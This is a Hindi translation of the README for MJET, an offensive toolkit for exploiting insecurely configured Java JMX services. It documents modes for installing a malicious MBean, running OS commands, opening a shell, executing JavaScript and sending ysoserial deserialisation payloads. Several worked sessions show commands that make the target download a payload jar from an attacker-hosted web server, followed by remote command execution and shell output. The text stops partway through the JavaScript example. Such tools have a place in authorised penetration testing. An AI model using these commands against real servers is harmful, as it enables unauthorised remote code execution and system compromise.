MOGWAI LABS द्वारा MJET

MOGWAI LABS JMX एक्सप्लॉइटेशन टूलकिट

MJET, sjet का एक फोर्क है, जिसे siberas द्वारा विकसित किया गया था लेकिन अब इसे सक्रिय रूप से अनुरक्षित नहीं किया जाता है। MJET को MOGWAI LABS टीम द्वारा अनुरक्षित किया जाता है, जिसने मूल sjet कोडबेस का अधिकांश हिस्सा भी प्रदान किया था।

MJET असुरक्षित रूप से कॉन्फ़िगर की गई JMX सेवाओं के आसान शोषण की अनुमति देता है। अतिरिक्त पृष्ठभूमि जानकारी यहाँ और यहाँ पाई जा सकती है।

!!! महत्वपूर्ण: यह परियोजना अब अनुरक्षित नहीं है

यह रिपॉज़िटरी अब सक्रिय रूप से अनुरक्षित नहीं है। हम इसके बजाय qtcs beanshooter का उपयोग करने की अनुशंसा करते हैं।

पूर्वापेक्षाएँ

• Jython 2.7
• Ysoserial (JMX के माध्यम से deserialisation भेद्यताओं का शोषण करने के लिए)
• opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (वैकल्पिक JMX Message Protocol (JMXMP) को समर्थन देने के लिए)

उपयोग

MJET एक CLI इंटरफ़ेस लागू करता है (argparse का उपयोग करके):

jython mjet.py targetHost targetPort MODE password (modeOptions)

जहाँ

• targetHost - लक्ष्य IP पता
• targetPort - वह लक्ष्य पोर्ट जहाँ JMX चल रहा है
• MODE - स्क्रिप्ट मोड
• modeOptions - चयनित मोड के लिए विकल्प

प्रमाणीकरण समर्थन (यदि JMX प्रमाणीकरण सक्षम है):

• --jmxrole - उपयोगकर्ता नाम
• --jmxpassword - पासवर्ड

अन्य वैकल्पिक तर्क:

• --jmxmp - JMX-MP उपयोग करें (एक अतिरिक्त JAR लोड करना आवश्यक है)
• --localhost_bypass - localhost bypass में प्रॉक्सी के लिए सेवा पोर्ट
• --shell - परिभाषित शेल का उपयोग करें
• --rmiObjectName - JMX एंडपॉइंट का RMI नाम

मोड और modeOptions

• install - वर्तमान लक्ष्य में पेलोड स्थापित करता है
  • password - सफल स्थापना के बाद सेट किया जाने वाला पासवर्ड
  • payload_url - पेलोड लोड करने के लिए पूर्ण URL
  • payload_port - पेलोड लोड करने के लिए पोर्ट
• uninstall - वर्तमान लक्ष्य से पेलोड अनइंस्टॉल करता है
• changepw - पहले से तैनात पेलोड पर पासवर्ड बदलता है
  • password - स्थापित MBean तक पहुँचने के लिए पासवर्ड
  • newpass - नया पासवर्ड
• command - targetHost में कमांड CMD चलाता है
  • password - स्थापित MBean तक पहुँचने के लिए पासवर्ड
  • CMD - चलाने के लिए कमांड
• shell - targetHost में एक साधारण शेल शुरू करता है (java के Runtime.exec() की सीमाओं के साथ)
  • password - स्थापित MBean तक पहुँचने के लिए पासवर्ड
• javascript - targetHost में एक javascript फ़ाइल FILENAME चलाता है
  • password - स्थापित MBean तक पहुँचने के लिए पासवर्ड
  • FILENAME - चलाई जाने वाली javascript
• deserialize - लक्ष्य पर एक ysoserial पेलोड भेजता है
  • gadget - ysoserial द्वारा प्रदान किया गया gadget, जैसे, CommonsCollections6
  • cmd - निष्पादित की जाने वाली कमांड
• webserver - केवल MLET वेब सर्वर चलाता है
  • payload_url - पेलोड लोड करने के लिए पूर्ण URL
  • payload_port - पेलोड लोड करने के लिए पोर्ट

उदाहरण

एक भेद्य JMX सेवा पर payload MBean स्थापित करना

निम्नलिखित उदाहरण में, भेद्य JMX सेवा 10.165.188.23 पोर्ट 2222 पर चल रही है, हमलावर का IP पता 10.165.188.1 है। JMX सेवा पेलोड jar फ़ाइल डाउनलोड करने के लिए हमलावर की वेब सेवा से कनेक्ट होगी। MJET पोर्ट 8000 पर आवश्यक वेब सेवा शुरू करेगा।

MBean की सफल स्थापना के बाद, डिफ़ॉल्ट पासवर्ड को उस पासवर्ड में बदल दिया जाता है जो कमांड लाइन ("super_secret") पर प्रदान किया गया था।

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

JMX क्रेडेंशियल्स के साथ स्थापना (सर्वर के कमजोर कॉन्फ़िगरेशन की भी आवश्यकता होती है):

h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Linux लक्ष्य में 'ls -la' कमांड चलाना:

पेलोड स्थापित होने के बाद, हम इसका उपयोग लक्ष्य पर OS कमांड निष्पादित करने के लिए कर सकते हैं।

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

शेल मोड में चलाना

यदि आप हर कमांड के लिए Java लोड नहीं करना चाहते, तो आप एक सीमित कमांड शेल पाने के लिए "shell mode" का उपयोग कर सकते हैं।

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet> 

लक्ष्य पर JavaScript पेलोड चलाना:

उदाहरण स्क्रिप्ट "javaproperties.js" भेद्य सेवा के Java गुणों को प्रदर्शित करती है। इसे निम्नानुसार लागू किया जा सकता है: